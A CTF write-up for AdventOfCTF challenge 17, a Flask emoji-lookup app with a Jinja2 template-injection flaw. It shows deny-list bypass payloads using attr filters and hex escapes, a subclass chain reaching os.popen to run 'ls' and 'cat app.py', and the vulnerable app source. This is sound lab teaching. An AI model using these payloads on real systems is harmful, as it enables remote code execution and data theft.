Repo for my website
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 

29 KiB

+++ author = "Maik de Kruif" title = "Gatekeeper" subtitle = "Challenge 17 - AdventOfCTF" date = 2021-01-06T22:51:23+01:00 description = "A writeup for challenge 17 of AdventOfCTF." cover = "img/writeups/adventofctf/2020/8717d728f2de96beb8123c0cca28a728.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "python", "flask", ] categories = [ "ctf", "writeups", "hacking", ] +++

  • Points: 1700

Description

Santa has launched version 2 of the Emoji finder! Some people were able to find the flag in the 1st version, that will not happen again!

Visit https://17.adventofctf.com to start the challenge.

Recon

Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅.

When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: https://www.webfx.com/tools/emoji-cheat-sheet/" and some javascript:

function send() {
  let emoji = $("#emoji")[0].value;
  if (emoji.length > 0) {
    $.post("/", { emoji: emoji }, function (data) {
      $("#msg")[0].innerHTML = "<b>" + data + "</b>";
    });
  }
}

Finding the vulnerability

The description makes a reference to [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}) so we probably have to use the same concept.

Let's verify it by trying the following input: {{7*7}}. It returned 49 so we can continue with the next step.

Exploit

Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we start by trying to get the config like so: {{config.items()}}. Sadly, we get an error message: "You entered an emoji that is on my deny list".

Blacklist

As it turns out, this challenge has a blacklist on the input. Let's first test what is and what isn't allowed. We can do this by just trying some characters:

{{7*7}} -> 49
{{7*'7'}} -> deny list
{{7*"7"}} -> 7777777
{{7*"_"}} -> deny list
{{7*"confi"}} -> conficonficonficonficonficonficonfi
{{7*"config"}} -> deny list
{{7*"."}} -> deny list

Blacklist: ', _, config, .

Getting the config

As "config" is blacklisted, we have to come up with another way to access it. Luckily there is a fairly straightforward way to get it as config is saved in context. And, in jinja2, self in a template refers to context. This means we can get it by reading self.__dict__.

We cannot do this directly however, as dots and underscores are blacklisted. Luckily, jinja2 has some built-in filters like attr that allow us to get attributes from a variable.

This works by piping a variable into a filter like so {{self|attr("")}}. This string passed to attr is the attribute we want. We can't just fill in __dict__ however, because of the blacklist. But, because we pass the attribute as a string, we can use it's hexadecimal ASCII value like so: \x5f.

The resulting input is the following: {{self|attr("\x5f\x5fdict\x5f\x5f")}}.

{
    '_TemplateReference__context': <Context {
        'range': <class 'range'>,
        'dict': <class 'dict'>,
        'lipsum': <function generate_lorem_ipsum at 0x7f2a4eda4a70>,
        'cycler': <class 'jinja2.utils.Cycler'>,
        'joiner': <class 'jinja2.utils.Joiner'>,
        'namespace': <class 'jinja2.utils.Namespace'>,
        'url_for': <function url_for at 0x7f2a4dfc6ef0>,
        'get_flashed_messages': <function get_flashed_messages at 0x7f2a4dfcd0e0>,
        'config': <Config {
            'ENV': 'production',
            'DEBUG': False,
            'TESTING': False,
            'PROPAGATE_EXCEPTIONS': None,
            'PRESERVE_CONTEXT_ON_EXCEPTION': None,
            'SECRET_KEY': 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
            'USE_X_SENDFILE': False,
            'SERVER_NAME': None,
            'APPLICATION_ROOT': '/',
            'SESSION_COOKIE_NAME': 'session',
            'SESSION_COOKIE_DOMAIN': False,
            'SESSION_COOKIE_PATH': None,
            'SESSION_COOKIE_HTTPONLY': True,
            'SESSION_COOKIE_SECURE': False,
            'SESSION_COOKIE_SAMESITE': None,
            'SESSION_REFRESH_EACH_REQUEST': True,
            'MAX_CONTENT_LENGTH': None,
            'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200),
            'TRAP_BAD_REQUEST_ERRORS': None,
            'TRAP_HTTP_EXCEPTIONS': False,
            'EXPLAIN_TEMPLATE_LOADING': False,
            'PREFERRED_URL_SCHEME': 'http',
            'JSON_AS_ASCII': True,
            'JSON_SORT_KEYS': True,
            'JSONIFY_PRETTYPRINT_REGULAR': False,
            'JSONIFY_MIMETYPE': 'application/json',
            'TEMPLATES_AUTO_RELOAD': None,
            'MAX_COOKIE_SIZE': 4093,
            'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"}>,
            'request': <Request 'http://127.0.0.1:10017/' [POST]>,
            'session': <SecureCookieSession {}>,
            'g': <flask.g of 'app'>
    } of None>
}

Note: be sure to use double-quotes (") as the single ones are blacklisted.

Here we find an encrypted flag again: 'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"

Decrypting the flag

Just like [yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), the flag is encrypted and we probably have to get the source again to get the key used to encrypt the flag. To get the source we first need arbitrary code execution.

Arbitrary Code Execution (ACE)

Unfortunately, we cannot grab the os module using the same method as yesterday as it requirers the config class and we cannot easily get it. This means we have to find another way.

Another common trick to get the code execution is by having a look at the subclasses of the object class. We can get it by taking the following path: ''.__class__.__mro__[1].__subclasses__(). This gets the class of string, reads it superclasses by getting __mro__, gets the object class from index 1 and then reads its superclasses by using the __subclasses__() method.

To get the subclasses, we first have to convert ''.__class__.__mro__[1].__subclasses__() to an acceptable input. This becomes:

{{ [""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")() }}

After submitting this, we get the following result:

{{< code language="text" title="Result" >}}

[
    <class 'type'>,
    <class 'weakref'>,
    <class 'weakcallableproxy'>,
    <class 'weakproxy'>,
    <class 'int'>,
    <class 'bytearray'>,
    <class 'bytes'>,
    <class 'list'>,
    <class 'NoneType'>,
    <class 'NotImplementedType'>,
    <class 'traceback'>,
    <class 'super'>,
    <class 'range'>,
    <class 'dict'>,
    <class 'dict_keys'>,
    <class 'dict_values'>,
    <class 'dict_items'>,
    <class 'odict_iterator'>,
    <class 'set'>,
    <class 'str'>,
    <class 'slice'>,
    <class 'staticmethod'>,
    <class 'complex'>,
    <class 'float'>,
    <class 'frozenset'>,
    <class 'property'>,
    <class 'managedbuffer'>,
    <class 'memoryview'>,
    <class 'tuple'>,
    <class 'enumerate'>,
    <class 'reversed'>,
    <class 'stderrprinter'>,
    <class 'code'>,
    <class 'frame'>,
    <class 'builtin_function_or_method'>,
    <class 'method'>,
    <class 'function'>,
    <class 'mappingproxy'>,
    <class 'generator'>,
    <class 'getset_descriptor'>,
    <class 'wrapper_descriptor'>,
    <class 'method-wrapper'>,
    <class 'ellipsis'>,
    <class 'member_descriptor'>,
    <class 'types.SimpleNamespace'>,
    <class 'PyCapsule'>,
    <class 'longrange_iterator'>,
    <class 'cell'>,
    <class 'instancemethod'>,
    <class 'classmethod_descriptor'>,
    <class 'method_descriptor'>,
    <class 'callable_iterator'>,
    <class 'iterator'>,
    <class 'coroutine'>,
    <class 'coroutine_wrapper'>,
    <class 'moduledef'>,
    <class 'module'>,
    <class 'EncodingMap'>,
    <class 'fieldnameiterator'>,
    <class 'formatteriterator'>,
    <class 'filter'>,
    <class 'map'>,
    <class 'zip'>,
    <class 'BaseException'>,
    <class 'hamt'>,
    <class 'hamt_array_node'>,
    <class 'hamt_bitmap_node'>,
    <class 'hamt_collision_node'>,
    <class 'keys'>,
    <class 'values'>,
    <class 'items'>,
    <class 'Context'>,
    <class 'ContextVar'>,
    <class 'Token'>,
    <class 'Token.MISSING'>,
    <class '_frozen_importlib._ModuleLock'>,
    <class '_frozen_importlib._DummyModuleLock'>,
    <class '_frozen_importlib._ModuleLockManager'>,
    <class '_frozen_importlib._installed_safely'>,
    <class '_frozen_importlib.ModuleSpec'>,
    <class '_frozen_importlib.BuiltinImporter'>,
    <class 'classmethod'>,
    <class '_frozen_importlib.FrozenImporter'>,
    <class '_frozen_importlib._ImportLockContext'>,
    <class '_thread._localdummy'>,
    <class '_thread._local'>,
    <class '_thread.lock'>,
    <class '_thread.RLock'>,
    <class 'zipimport.zipimporter'>,
    <class '_frozen_importlib_external.WindowsRegistryFinder'>,
    <class '_frozen_importlib_external._LoaderBasics'>,
    <class '_frozen_importlib_external.FileLoader'>,
    <class '_frozen_importlib_external._NamespacePath'>,
    <class '_frozen_importlib_external._NamespaceLoader'>,
    <class '_frozen_importlib_external.PathFinder'>,
    <class '_frozen_importlib_external.FileFinder'>,
    <class '_io._IOBase'>,
    <class '_io._BytesIOBuffer'>,
    <class '_io.IncrementalNewlineDecoder'>,
    <class 'posix.ScandirIterator'>,
    <class 'posix.DirEntry'>,
    <class 'codecs.Codec'>,
    <class 'codecs.IncrementalEncoder'>,
    <class 'codecs.IncrementalDecoder'>,
    <class 'codecs.StreamReaderWriter'>,
    <class 'codecs.StreamRecoder'>,
    <class '_abc_data'>,
    <class 'abc.ABC'>,
    <class 'dict_itemiterator'>,
    <class 'collections.abc.Hashable'>,
    <class 'collections.abc.Awaitable'>,
    <class 'collections.abc.AsyncIterable'>,
    <class 'async_generator'>,
    <class 'collections.abc.Iterable'>,
    <class 'bytes_iterator'>,
    <class 'bytearray_iterator'>,
    <class 'dict_keyiterator'>,
    <class 'dict_valueiterator'>,
    <class 'list_iterator'>,
    <class 'list_reverseiterator'>,
    <class 'range_iterator'>,
    <class 'set_iterator'>,
    <class 'str_iterator'>,
    <class 'tuple_iterator'>,
    <class 'collections.abc.Sized'>,
    <class 'collections.abc.Container'>,
    <class 'collections.abc.Callable'>,
    <class 'os._wrap_close'>,
    <class '_sitebuiltins.Quitter'>,
    <class '_sitebuiltins._Printer'>,
    <class '_sitebuiltins._Helper'>,
    <class 'warnings.WarningMessage'>,
    <class 'warnings.catch_warnings'>,
    <class 'types.DynamicClassAttribute'>,
    <class 'types._GeneratorWrapper'>,
    <class '_hashlib.HASH'>,
    <class '_blake2.blake2b'>,
    <class '_blake2.blake2s'>,
    <class '_sha3.sha3_224'>,
    <class '_sha3.sha3_256'>,
    <class '_sha3.sha3_384'>,
    <class '_sha3.sha3_512'>,
    <class '_sha3.shake_128'>,
    <class '_sha3.shake_256'>,
    <class 'itertools.accumulate'>,
    <class 'itertools.combinations'>,
    <class 'itertools.combinations_with_replacement'>,
    <class 'itertools.cycle'>,
    <class 'itertools.dropwhile'>,
    <class 'itertools.takewhile'>,
    <class 'itertools.islice'>,
    <class 'itertools.starmap'>,
    <class 'itertools.chain'>,
    <class 'itertools.compress'>,
    <class 'itertools.filterfalse'>,
    <class 'itertools.count'>,
    <class 'itertools.zip_longest'>,
    <class 'itertools.permutations'>,
    <class 'itertools.product'>,
    <class 'itertools.repeat'>,
    <class 'itertools.groupby'>,
    <class 'itertools._grouper'>,
    <class 'itertools._tee'>,
    <class 'itertools._tee_dataobject'>,
    <class '_random.Random'>,
    <class '_weakrefset._IterationGuard'>,
    <class '_weakrefset.WeakSet'>,
    <class 'weakref.finalize._Info'>,
    <class 'weakref.finalize'>,
    <class 'functools.partial'>,
    <class 'functools._lru_cache_wrapper'>,
    <class 'operator.itemgetter'>,
    <class 'operator.attrgetter'>,
    <class 'operator.methodcaller'>,
    <class 'reprlib.Repr'>,
    <class 'collections.deque'>,
    <class '_collections._deque_iterator'>,
    <class '_collections._deque_reverse_iterator'>,
    <class 'collections._Link'>,
    <class 'functools.partialmethod'>,
    <class 'enum.auto'>,
    <enum 'Enum'>,
    <class 're.Pattern'>,
    <class 're.Match'>,
    <class '_sre.SRE_Scanner'>,
    <class 'sre_parse.Pattern'>,
    <class 'sre_parse.SubPattern'>,
    <class 'sre_parse.Tokenizer'>,
    <class 're.Scanner'>,
    <class '_json.Scanner'>,
    <class '_json.Encoder'>,
    <class 'json.decoder.JSONDecoder'>,
    <class 'json.encoder.JSONEncoder'>,
    <class 'tokenize.Untokenizer'>,
    <class 'traceback.FrameSummary'>,
    <class 'traceback.TracebackException'>,
    <class 'threading._RLock'>,
    <class 'threading.Condition'>,
    <class 'threading.Semaphore'>,
    <class 'threading.Event'>,
    <class 'threading.Barrier'>,
    <class 'threading.Thread'>,
    <class 'Struct'>,
    <class 'unpack_iterator'>,
    <class 'pickle._Framer'>,
    <class 'pickle._Unframer'>,
    <class 'pickle._Pickler'>,
    <class 'pickle._Unpickler'>,
    <class '_pickle.Unpickler'>,
    <class '_pickle.Pickler'>,
    <class '_pickle.Pdata'>,
    <class '_pickle.PicklerMemoProxy'>,
    <class '_pickle.UnpicklerMemoProxy'>,
    <class 'urllib.parse._ResultMixinStr'>,
    <class 'urllib.parse._ResultMixinBytes'>,
    <class 'urllib.parse._NetlocResultMixinBase'>,
    <class 'jinja2.utils.MissingType'>,
    <class 'jinja2.utils.LRUCache'>,
    <class 'jinja2.utils.Cycler'>,
    <class 'jinja2.utils.Joiner'>,
    <class 'jinja2.utils.Namespace'>,
    <class 'string.Template'>,
    <class 'string.Formatter'>,
    <class 'markupsafe._MarkupEscapeHelper'>,
    <class 'jinja2.nodes.EvalContext'>,
    <class 'jinja2.nodes.Node'>,
    <class 'jinja2.runtime.TemplateReference'>,
    <class 'jinja2.runtime.Context'>,
    <class 'jinja2.runtime.BlockReference'>,
    <class 'jinja2.runtime.LoopContextBase'>,
    <class 'jinja2.runtime.LoopContextIterator'>,
    <class 'jinja2.runtime.Macro'>,
    <class 'jinja2.runtime.Undefined'>,
    <class 'decimal.Decimal'>,
    <class 'decimal.Context'>,
    <class 'decimal.SignalDictMixin'>,
    <class 'decimal.ContextManager'>,
    <class 'numbers.Number'>,
    <class '_ast.AST'>,
    <class 'jinja2.lexer.Failure'>,
    <class 'jinja2.lexer.TokenStreamIterator'>,
    <class 'jinja2.lexer.TokenStream'>,
    <class 'jinja2.lexer.Lexer'>,
    <class 'jinja2.parser.Parser'>,
    <class 'jinja2.visitor.NodeVisitor'>,
    <class 'jinja2.idtracking.Symbols'>,
    <class '__future__._Feature'>,
    <class 'jinja2.compiler.MacroRef'>,
    <class 'jinja2.compiler.Frame'>,
    <class 'jinja2.environment.Environment'>,
    <class 'jinja2.environment.Template'>,
    <class 'jinja2.environment.TemplateModule'>,
    <class 'jinja2.environment.TemplateExpression'>,
    <class 'jinja2.environment.TemplateStream'>,
    <class 'jinja2.loaders.BaseLoader'>,
    <class 'zlib.Compress'>,
    <class 'zlib.Decompress'>,
    <class '_bz2.BZ2Compressor'>,
    <class '_bz2.BZ2Decompressor'>,
    <class '_lzma.LZMACompressor'>,
    <class '_lzma.LZMADecompressor'>,
    <class 'tempfile._RandomNameSequence'>,
    <class 'tempfile._TemporaryFileCloser'>,
    <class 'tempfile._TemporaryFileWrapper'>,
    <class 'tempfile.SpooledTemporaryFile'>,
    <class 'tempfile.TemporaryDirectory'>,
    <class 'jinja2.bccache.Bucket'>,
    <class 'jinja2.bccache.BytecodeCache'>,
    <class 'logging.LogRecord'>,
    <class 'logging.PercentStyle'>,
    <class 'logging.Formatter'>,
    <class 'logging.BufferingFormatter'>,
    <class 'logging.Filter'>,
    <class 'logging.Filterer'>,
    <class 'logging.PlaceHolder'>,
    <class 'logging.Manager'>,
    <class 'logging.LoggerAdapter'>,
    <class 'concurrent.futures._base._Waiter'>,
    <class 'concurrent.futures._base._AcquireFutures'>,
    <class 'concurrent.futures._base.Future'>,
    <class 'concurrent.futures._base.Executor'>,
    <class 'select.poll'>,
    <class 'select.epoll'>,
    <class 'selectors.BaseSelector'>,
    <class '_socket.socket'>,
    <class 'subprocess.CompletedProcess'>,
    <class 'subprocess.Popen'>,
    <class '_ssl._SSLContext'>,
    <class '_ssl._SSLSocket'>,
    <class '_ssl.MemoryBIO'>,
    <class '_ssl.Session'>,
    <class 'ssl.SSLObject'>,
    <class 'dis.Bytecode'>,
    <class 'inspect.BlockFinder'>,
    <class 'inspect._void'>,
    <class 'inspect._empty'>,
    <class 'inspect.Parameter'>,
    <class 'inspect.BoundArguments'>,
    <class 'inspect.Signature'>,
    <class 'asyncio.coroutines.CoroWrapper'>,
    <class 'asyncio.events.Handle'>,
    <class 'asyncio.events.AbstractServer'>,
    <class 'asyncio.events.AbstractEventLoop'>,
    <class 'asyncio.events.AbstractEventLoopPolicy'>,
    <class '_asyncio.Future'>,
    <class '_asyncio.FutureIter'>,
    <class 'TaskStepMethWrapper'>,
    <class 'TaskWakeupMethWrapper'>,
    <class '_RunningLoopHolder'>,
    <class 'asyncio.futures.Future'>,
    <class 'asyncio.protocols.BaseProtocol'>,
    <class 'asyncio.transports.BaseTransport'>,
    <class 'asyncio.sslproto._SSLPipe'>,
    <class 'asyncio.locks._ContextManager'>,
    <class 'asyncio.locks._ContextManagerMixin'>,
    <class 'asyncio.locks.Event'>,
    <class 'asyncio.queues.Queue'>,
    <class 'asyncio.streams.StreamWriter'>,
    <class 'asyncio.streams.StreamReader'>,
    <class 'asyncio.subprocess.Process'>,
    <class 'asyncio.unix_events.AbstractChildWatcher'>,
    <class 'jinja2.asyncsupport.AsyncLoopContextIterator'>,
    <class 'datetime.date'>,
    <class 'datetime.timedelta'>,
    <class 'datetime.time'>,
    <class 'datetime.tzinfo'>,
    <class 'werkzeug._internal._Missing'>,
    <class 'werkzeug._internal._DictAccessorProperty'>,
    <class 'importlib.abc.Finder'>,
    <class 'importlib.abc.Loader'>,
    <class 'importlib.abc.ResourceReader'>,
    <class 'contextlib.ContextDecorator'>,
    <class 'contextlib._GeneratorContextManagerBase'>,
    <class 'contextlib._BaseExitStack'>,
    <class 'pkgutil.ImpImporter'>,
    <class 'pkgutil.ImpLoader'>,
    <class 'werkzeug.utils.HTMLBuilder'>,
    <class 'werkzeug.exceptions.Aborter'>,
    <class 'werkzeug.urls.Href'>,
    <class 'socketserver.BaseServer'>,
    <class 'socketserver.ForkingMixIn'>,
    <class 'socketserver.ThreadingMixIn'>,
    <class 'socketserver.BaseRequestHandler'>,
    <class 'calendar._localized_month'>,
    <class 'calendar._localized_day'>,
    <class 'calendar.Calendar'>,
    <class 'calendar.different_locale'>,
    <class 'email._parseaddr.AddrlistClass'>,
    <class 'email.charset.Charset'>,
    <class 'email.header.Header'>,
    <class 'email.header._ValueFormatter'>,
    <class 'email._policybase._PolicyBase'>,
    <class 'email.feedparser.BufferedSubFile'>,
    <class 'email.feedparser.FeedParser'>,
    <class 'email.parser.Parser'>,
    <class 'email.parser.BytesParser'>,
    <class 'email.message.Message'>,
    <class 'http.client.HTTPConnection'>,
    <class 'mimetypes.MimeTypes'>,
    <class 'click._compat._FixupStream'>,
    <class 'click._compat._AtomicFile'>,
    <class 'click.utils.LazyFile'>,
    <class 'click.utils.KeepOpenFile'>,
    <class 'click.utils.PacifyFlushWrapper'>,
    <class 'click.parser.Option'>,
    <class 'click.parser.Argument'>,
    <class 'click.parser.ParsingState'>,
    <class 'click.parser.OptionParser'>,
    <class 'click.types.ParamType'>,
    <class 'click.formatting.HelpFormatter'>,
    <class 'click.core.Context'>,
    <class 'click.core.BaseCommand'>,
    <class 'click.core.Parameter'>,
    <class 'werkzeug.serving.WSGIRequestHandler'>,
    <class 'werkzeug.serving._SSLContext'>,
    <class 'werkzeug.serving.BaseWSGIServer'>,
    <class 'werkzeug.datastructures.ImmutableListMixin'>,
    <class 'werkzeug.datastructures.ImmutableDictMixin'>,
    <class 'werkzeug.datastructures.UpdateDictMixin'>,
    <class 'werkzeug.datastructures.ViewItems'>,
    <class 'werkzeug.datastructures._omd_bucket'>,
    <class 'werkzeug.datastructures.Headers'>,
    <class 'werkzeug.datastructures.ImmutableHeadersMixin'>,
    <class 'werkzeug.datastructures.IfRange'>,
    <class 'werkzeug.datastructures.Range'>,
    <class 'werkzeug.datastructures.ContentRange'>,
    <class 'werkzeug.datastructures.FileStorage'>,
    <class 'urllib.request.Request'>,
    <class 'urllib.request.OpenerDirector'>,
    <class 'urllib.request.BaseHandler'>,
    <class 'urllib.request.HTTPPasswordMgr'>,
    <class 'urllib.request.AbstractBasicAuthHandler'>,
    <class 'urllib.request.AbstractDigestAuthHandler'>,
    <class 'urllib.request.URLopener'>,
    <class 'urllib.request.ftpwrapper'>,
    <class 'werkzeug.wrappers.accept.AcceptMixin'>,
    <class 'werkzeug.wrappers.auth.AuthorizationMixin'>,
    <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>,
    <class 'werkzeug.wsgi.ClosingIterator'>,
    <class 'werkzeug.wsgi.FileWrapper'>,
    <class 'werkzeug.wsgi._RangeWrapper'>,
    <class 'werkzeug.formparser.FormDataParser'>,
    <class 'werkzeug.formparser.MultiPartParser'>,
    <class 'werkzeug.wrappers.base_request.BaseRequest'>,
    <class 'werkzeug.wrappers.base_response.BaseResponse'>,
    <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>,
    <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>,
    <class 'werkzeug.wrappers.etag.ETagRequestMixin'>,
    <class 'werkzeug.wrappers.etag.ETagResponseMixin'>,
    <class 'werkzeug.wrappers.cors.CORSRequestMixin'>,
    <class 'werkzeug.wrappers.cors.CORSResponseMixin'>,
    <class 'werkzeug.useragents.UserAgentParser'>,
    <class 'werkzeug.useragents.UserAgent'>,
    <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>,
    <class 'werkzeug.wrappers.request.StreamOnlyMixin'>,
    <class 'werkzeug.wrappers.response.ResponseStream'>,
    <class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
    <class 'http.cookiejar.Cookie'>,
    <class 'http.cookiejar.CookiePolicy'>,
    <class 'http.cookiejar.Absent'>,
    <class 'http.cookiejar.CookieJar'>,
    <class 'werkzeug.test._TestCookieHeaders'>,
    <class 'werkzeug.test._TestCookieResponse'>,
    <class 'werkzeug.test.EnvironBuilder'>,
    <class 'werkzeug.test.Client'>,
    <class 'uuid.UUID'>,
    <class 'itsdangerous._json._CompactJSON'>,
    <class 'hmac.HMAC'>,
    <class 'itsdangerous.signer.SigningAlgorithm'>,
    <class 'itsdangerous.signer.Signer'>,
    <class 'itsdangerous.serializer.Serializer'>,
    <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>,
    <class 'flask._compat._DeprecatedBool'>,
    <class 'werkzeug.local.Local'>,
    <class 'werkzeug.local.LocalStack'>,
    <class 'werkzeug.local.LocalManager'>,
    <class 'werkzeug.local.LocalProxy'>,
    <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>,
    <class 'dataclasses._MISSING_TYPE'>,
    <class 'dataclasses._FIELD_BASE'>,
    <class 'dataclasses.InitVar'>,
    <class 'dataclasses.Field'>,
    <class 'dataclasses._DataclassParams'>,
    <class 'ast.NodeVisitor'>,
    <class 'difflib.SequenceMatcher'>,
    <class 'difflib.Differ'>,
    <class 'difflib.HtmlDiff'>,
    <class 'pprint._safe_key'>,
    <class 'pprint.PrettyPrinter'>,
    <class 'werkzeug.routing.RuleFactory'>,
    <class 'werkzeug.routing.RuleTemplate'>,
    <class 'werkzeug.routing.BaseConverter'>,
    <class 'werkzeug.routing.Map'>,
    <class 'werkzeug.routing.MapAdapter'>,
    <class 'flask.signals.Namespace'>,
    <class 'flask.signals._FakeSignal'>,
    <class 'flask.helpers.locked_cached_property'>,
    <class 'flask.helpers._PackageBoundObject'>,
    <class 'flask.cli.DispatchingApp'>,
    <class 'flask.cli.ScriptInfo'>,
    <class 'flask.config.ConfigAttribute'>,
    <class 'flask.ctx._AppCtxGlobals'>,
    <class 'flask.ctx.AppContext'>,
    <class 'flask.ctx.RequestContext'>,
    <class 'flask.json.tag.JSONTag'>,
    <class 'flask.json.tag.TaggedJSONSerializer'>,
    <class 'flask.sessions.SessionInterface'>,
    <class 'werkzeug.wrappers.json._JSONModule'>,
    <class 'werkzeug.wrappers.json.JSONMixin'>,
    <class 'flask.blueprints.BlueprintSetupState'>,
    <class 'unicodedata.UCD'>,
    <class 'jinja2.ext.Extension'>,
    <class 'jinja2.ext._CommentFinder'>,
    <class 'jinja2.debug.TracebackFrameProxy'>,
    <class 'jinja2.debug.ProcessedTraceback'>,
    <class 'CArgObject'>,
    <class '_ctypes.CThunkObject'>,
    <class '_ctypes._CData'>,
    <class '_ctypes.CField'>,
    <class '_ctypes.DictRemover'>,
    <class 'ctypes.CDLL'>,
    <class 'ctypes.LibraryLoader'>
]

{{< /code >}}

In this result we find the following class: <class 'os._wrap_close'>. This is the os module and it is on index 127. We can verify it's index by getting it from the submodules list using the following input:

{{ [[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127] }}

This should return <class 'os._wrap_close'>.

Grabbing the file

Now that we've got the os module, we can use it's popen function to execute commands. Let's try to list the work directory using the following input:

{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("ls -lA")|attr("read")() }}

It worked! We got the following result:

total 28
dr-xr-xr-x    1 app      app           4096 Nov 28 14:15 __pycache__
-r--r--r--    1 app      app           1571 Nov 28 14:15 app.py
-r--r--r--    1 app      app             93 Nov 28 14:15 requirements.txt
-r-xr-xr-x    1 app      app             26 Nov 28 14:15 serve.sh
dr-xr-xr-x    1 app      app           4096 Nov 28 14:15 static
-rw-r--r--    1 root     root             2 Dec  2 13:53 supervisord.pid
dr-xr-xr-x    1 app      app           4096 Nov 28 14:15 templates

Now let's grab the contents of app.py:

{{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }}

{{< code language="python" title="app.py" >}}

import random
from flask import Flask, render_template_string, render_template, request
import os
import emojis

app = Flask(__name__)
app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'

def magic(flag, key):
    return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag)))

file = open("/tmp/flag.txt", "r")
flag = file.read()

app.config['flag'] = magic(flag, '46e505c983433b7c8eefb953d3ffcd196a08bbf9')
flag = ""

os.remove("/tmp/flag.txt")

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        emoji="unknown"
        try:
            p = request.values.get('emoji')
            if p != None:
                emoji = emojis.db.get_emoji_by_alias(p)
        except Exception as e:
            print(e)
            pass

        try:
            if emoji == None:
                if '.' in p or '_' in p or "'" in p or 'config' in p:
                    return render_template_string("You entered an emoji that is on my deny list")
                else:
                    return render_template_string("You entered an unknown emoji: %s" % p)
            else:
                return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
        except Exception as e:
            print(e)
            return 'Exception'

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

{{< /code >}}

Magic function

Just like [yesterday]({{% ref "writeups/adventofctf/2020/challenge_16.md" %}}), we find a magic function. It looks like it's the same just with a different key so let's decrypt it using the new key (46e505c983433b7c8eefb953d3ffcd196a08bbf9):

Python 3.6.9 (default, Nov  7 2019, 10:44:02)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def magic(flag, key):
...     return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
...
>>> magic("C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F", "46e505c983433b7c8eefb953d3ffcd196
a08bbf9")
'NOVI{santa_l0ves_his_emojis}\n'
>>>

Solution

We got the flag! It is NOVI{santa_l0ves_his_emojis}.

This flag can then be submitted for the challenge.